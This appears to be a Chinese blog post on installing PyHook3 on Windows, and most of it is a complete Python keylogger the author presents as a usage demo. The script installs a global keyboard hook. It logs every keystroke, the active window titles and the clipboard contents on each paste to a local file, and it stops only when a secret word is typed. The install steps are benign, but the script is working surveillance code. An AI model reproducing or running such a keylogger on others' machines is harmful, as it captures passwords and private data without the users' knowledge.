Windows PyHook3安装和使用

Windows PyHook3安装和使用

首先安装pythoncom

pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
下载后复制进python/Lib/site-packages/
然后进入文件cmd输入python setup.py install
注意python版本,比如我的同时安装py2,3,就要用python3运行才行
(下面的安装都是这个步骤)

然后安装Swig

下载Swig for Windows:http://www.swig.org/download.html
找到对应的版本下载
注意下载后里面有swig.exe文件,没有的话还要按照doc编译swig,没有cygwin也很麻烦,所以找编译好的对应版本下载。
下载后放到安装软件的地方,添加环境变量path
cmd输入swig –help,输出help的内容说明能用了
然后添加环境变量PYTHON_INCLUDE PYTHON_BIN

在文档和官网中有详细说明是什么
PYTHON_INCLUDE是python3的include路径
PYTHON_BIN是python3里的libs下的python3X.lib文件

举例
PYTHON_INCLUDE: D:\python\include;
PYTHON_BIN: D:\python\libs\python36.lib;

记得安装.Net Framework和VC对应版本

这些东西一般都有,没有会提醒你安装,点到微软的下载页面down下来安装即可

安装pywin32

地址:http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32
找到适合你的系统的版本下载

安装PyHook3

pip install PyHook3
即可下载PyHook3到你的python下的Lib/site-packages
但是不知道为什么我的PyHook3少文件
缺少cpyHook.i文件
于是我又下载了python_py3k,把里面的文件移到了PyHook3里,再次安装成功了.

python_py3k:https://github.com/Answeror/pyhook_py3k

安装完成后,进入PyHook3文件夹,运行python example.py
没有问题,表明成功
同时example.py里也给出了鼠标监听和键盘监听的使用方法
稍加修改后,我写了一份可以把监听结果保存在文件中的代码

# -*- coding: utf-8 -*-    
from ctypes import *  
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
path=os.getcwd()

user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None
#退出监听的指令单词,可以修改
QUIT_WORD="BIGBANG"
QUIT_CONT=QUIT_WORD
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数  
def OnKeyboardEvent(event):
    global current_window,QUIT_WORD,QUIT_CONT,path
    FileStr=""
    if(len(QUIT_WORD)==0):
        FileStr+="\n--------------------结束监听--------------------\n\n\n"
        fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
        fp.write(FileStr)
        fp.close()
        print("\n--------------------结束监听--------------------\n")
        sys.exit()
        return False
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)  
    if event.Window != current_window:  
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr+="\n"+("-"*60)+"\n窗口名:%s\n窗口ID:%s\n"%(windowName,event.Window)
        print("\n-----------------")
        print("窗口名:%s"%windowName)
        print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)  
    if event.Ascii > 32 and event.Ascii <127:
        FileStr+=chr(event.Ascii)+' '
        print(chr(event.Ascii),end=' ')
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来  
        if event.Key == "V":
            print()
            print("-"*60)
            print("检测到粘贴快捷键")
            win32clipboard.OpenClipboard()  
            pasted_value = win32clipboard.GetClipboardData()  
            win32clipboard.CloseClipboard()  
            print("[粘贴内容] %s" % (pasted_value),end=' ')
            print()
            print("-"*60)
            FileStr+='\n'+("-"*60)+'\n'+"检测到粘贴快捷键\n"
            FileStr+="[粘贴内容] "+pasted_value
            FileStr+="\n"
            FileStr+=("-"*60)+'\n'
        elif event.Key=="Z":
            FileStr+="[Ctrl+Z] "
            print("[Ctrl+Z]",end=' ')
        elif event.Key=="A":
            FileStr+="[全选] "
            print("[全选]",end=' ')
        elif event.Key=="C":
            FileStr+="[Ctrl+C] "
            print("[Ctrl+C]",end=' ')
        else:
            if(event.Key=="Space"):
                FileStr+="[空格] "
                print("[空格]",end=' ')
            elif(event.Key=="Lshift"):
                FileStr+="[左Shift] "
                print("[左Shift]",end=' ')
            elif(event.Key=="Left"):
                FileStr+="[←] "
                print("[←]",end=' ')
            elif(event.Key=="Right"):
                FileStr+="[→] "
                print("[→]",end=' ')
            elif(event.Key=="Up"):
                FileStr+="[↑] "
                print("[↑]",end=' ')
            elif(event.Key=="Down"):
                FileStr+="[↓] "
                print("[↓]",end=' ')
            elif(event.Key=="Lmenu"):
                FileStr+="[左Alt] "
                print("[左Alt]",end=' ')
            elif(event.Key=="Rmenu"):
                FileStr+="[右Alt] "
                print("[右Alt]",end=' ')
            elif(event.Key=="Rshift"):
                FileStr+="[右Shift] "
                print("[右Shift]",end=' ')
            elif(event.Key=="Lcontrol"):
                FileStr+="[左Ctrl] "
                print("[左Ctrl]",end=' ')
            elif(event.Key=="Rcontrol"):
                FileStr+="[右Ctrl] "
                print("[右Ctrl]",end=' ')
            elif(event.Key=="Return"):
                FileStr+="[回车] "
                print("[回车]",end=' ')
            elif(event.Key=="Back"):
                FileStr+="[删除] "
                print("[删除]",end=' ')
            elif(event.Key=="Delete"):
                FileStr+="[Del] "
                print("[Del]",end=' ')
            elif(event.Key=="Insert"):
                FileStr+="[Ins] "
                print("[Ins]",end=' ')
            elif(event.Key=="Prior"):
                FileStr+="[PgUp] "
                print("[PgUp]",end=' ')
            elif(event.Key=="Next"):
                FileStr+="[PgDn] "
                print("[PgDn]",end=' ')
            elif(event.Key=="End"):
                FileStr+="[End] "
                print("[End]",end=' ')
            elif(event.Key=="Home"):
                FileStr+="[Home] "
                print("[Home]",end=' ')
            elif(event.Key=="None"):
                FileStr+="[None] "
                print("[None]",end=' ')
            elif(event.Key=="Apps"):
                #就是右Alt右边的那个键
                FileStr+="[菜单] "
                print("[菜单]",end=' ')
            elif(event.Key=="Capital"):
                FileStr+="[大写] "
                print("[大写]",end=' ')
            elif(event.Key=="Tab"):
                FileStr+="[Tab] "
                print("[Tab]",end=' ')
            elif(event.Key=="Lwin"):
                FileStr+="[左Win] "
                print("[左Win]",end=' ')
            elif(event.Key=="Rwin"):
                FileStr+="[右Win] "
                print("[右Win]",end=' ')
            elif(event.Key=="Escape"):
                FileStr+="[Esc] "
                print("[Esc]",end=' ')
            elif(event.Key=="Pause"):
                #就是PrintScreen右边那个键
                FileStr+="[暂停] "
                print("[暂停]",end=' ')
            elif(event.Key=="Snapshot"):
                FileStr+="[截屏] "
                print("[截屏]",end=' ')
            else:
                FileStr+="[%s] "%event.Key
                print("[%s]"%event.Key,end=' ')
    #判断退出监听指令符
    if (event.Key==QUIT_WORD[0]):
        QUIT_WORD=QUIT_WORD[1:]
        if(len(QUIT_WORD)==0):
            FileStr+="\n--------------------结束监听--------------------\n\n\n"
            fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
            fp.write(FileStr)
            fp.close()
            print("\n--------------------结束监听--------------------\n")
            sys.exit()
            return False
    else:
        QUIT_WORD=QUIT_CONT
    #写入文件    
    fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器  
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent

# 注册hook并执行  
kl.HookKeyboard()
pythoncom.PumpMessages()

安装过程十分繁琐,不像py27,十分容易的用pip就可以安装完成。
不过使用还是很方便

http://blog.csdn.net/qingh520/article/details/8955026
http://blog.csdn.net/bo_mask/article/details/76002273
http://blog.csdn.net/xiaoliu5396/article/details/46457585
http://blog.csdn.net/dyx1024/article/details/7311013
http://blog.csdn.net/dongfuguo/article/details/70226384

展开阅读全文

没有更多推荐了,返回首页